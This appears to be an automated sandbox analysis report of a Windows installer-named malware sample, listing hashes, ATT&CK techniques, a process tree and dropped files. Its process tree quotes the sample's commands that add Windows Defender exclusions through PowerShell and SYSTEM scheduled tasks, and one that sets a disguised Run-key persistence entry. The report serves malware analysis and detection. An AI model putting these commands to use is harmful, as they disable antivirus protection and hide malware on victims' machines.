978ee8b75ba315930e22882ade4b7c0bca6874ebafee6eb1919327959b2ad43a

Analysis

max time kernel
147s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 09:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
appnstaller.1.2.13.exe
Size 33.1MB
Sample261007-lcavdawz2p
SHA256 978ee8b75ba315930e22882ade4b7c0bca6874ebafee6eb1919327959b2ad43a
MD5 fe535524ef7d6571d1346746ec1b7806
SHA1 705bd8259e7910a34c52f758b9301a0d4343ac74
SHA512 9ff001dbbf81f573f9e5262359a3afc19df0588d3f01ea0cce87232cce3e2821c782078b310ce36551da3f72685db8c23d0574cc308c88409e081de836c8c510
SSDEEP 98304:rUHFvCJd2eJe6aBfUabS8mHJVoLT75Y26G+rJzRe8jx:QHkdJeRRUjHQ/7Wd9t
TLSH
T1D177E846BB85DD83F5069535D4568BE02372ECB48EA6C35323A83F19BFBF2984DE1481
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
6100	SPCnF8.exe

Loads dropped DLL 1 IoCs

pid	Process
6100	SPCnF8.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\TLLs8W\\SPCnF8.exe\""	SPCnF8.exe

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6136	cmd.exe
1628	cmd.exe
3208	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	SPCnF8.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5168	cmd.exe
2172	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	appnstaller.1.2.13.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	appnstaller.1.2.13.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5604	schtasks.exe
5956	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
3416	appnstaller.1.2.13.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe
6100	SPCnF8.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\appnstaller.1.2.13.exe
"C:\Users\Admin\AppData\Local\Temp\appnstaller.1.2.13.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1332

C:\Users\Public\TLLs8W\SPCnF8.exe
"C:\Users\Public\TLLs8W\SPCnF8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:6100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TLLs8W\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:6136
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TLLs8W\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1628
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3208

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TLLs8W" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2172

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5912

C:\Users\Public\TLLs8W\SPCnF8.exe
"C:\Users\Public\TLLs8W\SPCnF8.exe"
1⤵
PID:2144

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 64ab13be4820b4513ae3df385742a6404c89df7ac70ad4c3349886e153d1744c
MD5 1b77ed7fd8524b471fa432aa07a3abe1
SHA1 88b1a1b8bfce1aca6c455fa74e525ca53c691f4a
SHA512 4c66568f94a6ae1dc3c52c0e5b7495fa3ebbefffed3b1eac1054e004190446d202bd14bcf3f9cfd705a58a603acd6d38d3c3447981ac2e02715ec1b65eec6403
TLSH
T11731A7AB5BAD2983CF358D4515D9F0313DE8F290AEC540956305C0655F443B26F0E909
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 83351e8e6a7b3720b59e8715a0d02e54b105e7d5c70b7e9652ce07ac2fd1318f
MD5 9db44212566cc228d70baa0fdfd78d16
SHA1 7372c2edd84c0c8a09891c5213d1b7f0bd70bd4b
SHA512 b2fe7764431ee3514e19c6ae2687e8f295a8cedf7c68b568a968c7f314edb9abbeaf6f814ff2e9a83391c1736de927216d152faafc062b1d7baa2eee3b66e2a8
TLSH
T18131D6D29E7A8043DF088F7457D8E12FECF1A1798DA80882653DC16F4A59BB36FC5045
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 83e6a69348848e2ab15d05e52594d2272c7e487aa9583d21e4508839e74f426a
MD5 330e89ca123c73c8a65a17bbbf3a9ab0
SHA1 d879294264ee2615da5033f400b8b9ec9e98821e
SHA512 06e758246285e57dc32d662c16bca9a67bf9f4fc78b07fe3ac4c860a3b6b4f4946c2cd40f98063322c6822a989d92d35f395f4ab00da9393a8c9d8bfde68799a
TLSH
T1E9F05C0805BC813DF033DA3D96D9B6DB5E7AFA56340681E80BB64608A292D522E52A7D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 87069a419dbee3a96bf31b67b1ce33256f1c0230d36c5dfe16b8e68f0518ff38
MD5 360cd3eb2ad451e14bfe09106736c88d
SHA1 0cf3155622782f4b13773b8e9b693b841d39d99f
SHA512 7caf28c294fd4f51cac636260d586d4fbe5868dc22d90afd4dad8bdbda447188d683b65697c6cbbfaeedeafe18d93997f49ddfa31f8318897159b7f7c2913cf6
TLSH
T12DF05C3842D9001FF07EC1F446D7B6E34A6AD622100A72BA0AA403051E61E415C4137C
MD5 SHA1 SHA512 TLSH

Submit Download

SPCnF8.exe

Path C:\Users\Public\TLLs8W\SPCnF8.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\TLLs8W\UxEnhance64.dll
Size 3.1MB
SHA256 aeaf20f326632c199bc0284393ed4e690d1b1ced823d7d5ed705b7a879e6c9cd
MD5 89a937a3a8227d34ac889b85d8bb0250
SHA1 e7c403582a8f23ae3083d22cc32742310147f7a1
SHA512 6741c31f6b54f3abbe66c0276cf20a34c52d8ace851a5155df8f745ec5d66765bdcd690f8b242a7ef93c56b114a437741f77eb38040d3d879ee3c9f1134fda31
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+t:P9m29xx3Tiqt06ox6+z2rNNrKot
TLSH
T1AEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\TLLs8W\adoresd.dat
Size 4.7MB
SHA256 ba1a7d0cd4491878bf8431e47c6ff9ccbf70157f4d60198a39119a8d90702166
MD5 a88e52e595887c4a990f3c07bce1c2a5
SHA1 2957e77c987b1f388b52f6a0fd3c68fd8e196170
SHA512 f70ce02e6f8752eb7a75464338aa42fffc4381f65f92850050fde5e14b7f1c046f563798c06e1e4e61fe7f672b885d923696ce54c45dbe89d1374d11d1fb4df0
SSDEEP 98304:JKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:JKClqhi0Cv54K2IVS0VQg
TLSH
T17F3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\TLLs8W\msadox.tb
Size 8KB
SHA256 59549dd227568138e9b00dc24af58ce83553778b541567594a382383d249776c
MD5 a2f9dd5a69af6186765280bc782083bf
SHA1 99bf17e624bd9a1931ef5e46eea1c8a5d7ec62ef
SHA512 6c54231ae5830932f6949d7fd27c8ad55bbd8f7b201a42caee825b813c053b0837d1937d96f55d7d354651ac934cca279b2de20188fc9efb399829f6410c99cf
SSDEEP 192:1qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:1sZqZOXQ3uqvR2Kfzp
TLSH
T16C029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2144-585-0x000001D96E580000-0x000001D96EE07000-memory.dmp

Download

memory/2144-581-0x00007FFC3D0D0000-0x00007FFC3D5EE000-memory.dmp

Download

memory/3416-0-0x00000000005B0000-0x00000000005BE000-memory.dmp

Download

memory/3416-527-0x00007FFC551D0000-0x00007FFC551E2000-memory.dmp

Download

memory/3416-526-0x00000000005B0000-0x00000000005BE000-memory.dmp

Download

memory/3416-504-0x00007FFC551D0000-0x00007FFC551E2000-memory.dmp

Download

memory/3416-2-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

memory/3416-1-0x00000000005B0000-0x00000000005BE000-memory.dmp

Download

memory/6100-548-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-567-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-549-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-554-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-560-0x000001796B630000-0x000001796B67E000-memory.dmp

Download

memory/6100-565-0x000001796C960000-0x000001796C9EA000-memory.dmp

Download

memory/6100-563-0x000001796C960000-0x000001796C9EA000-memory.dmp

Download

memory/6100-562-0x000001796C960000-0x000001796C9EA000-memory.dmp

Download

memory/6100-561-0x000001796C960000-0x000001796C9EA000-memory.dmp

Download

memory/6100-550-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-569-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-570-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-544-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-547-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-542-0x00007FFC5DB40000-0x00007FFC5DB42000-memory.dmp

Download

memory/6100-541-0x000001796C040000-0x000001796C8C7000-memory.dmp

Download

memory/6100-535-0x00007FFC3D0D0000-0x00007FFC3D5EE000-memory.dmp

Download

memory/6100-534-0x00007FFC5DB30000-0x00007FFC5DB32000-memory.dmp

Download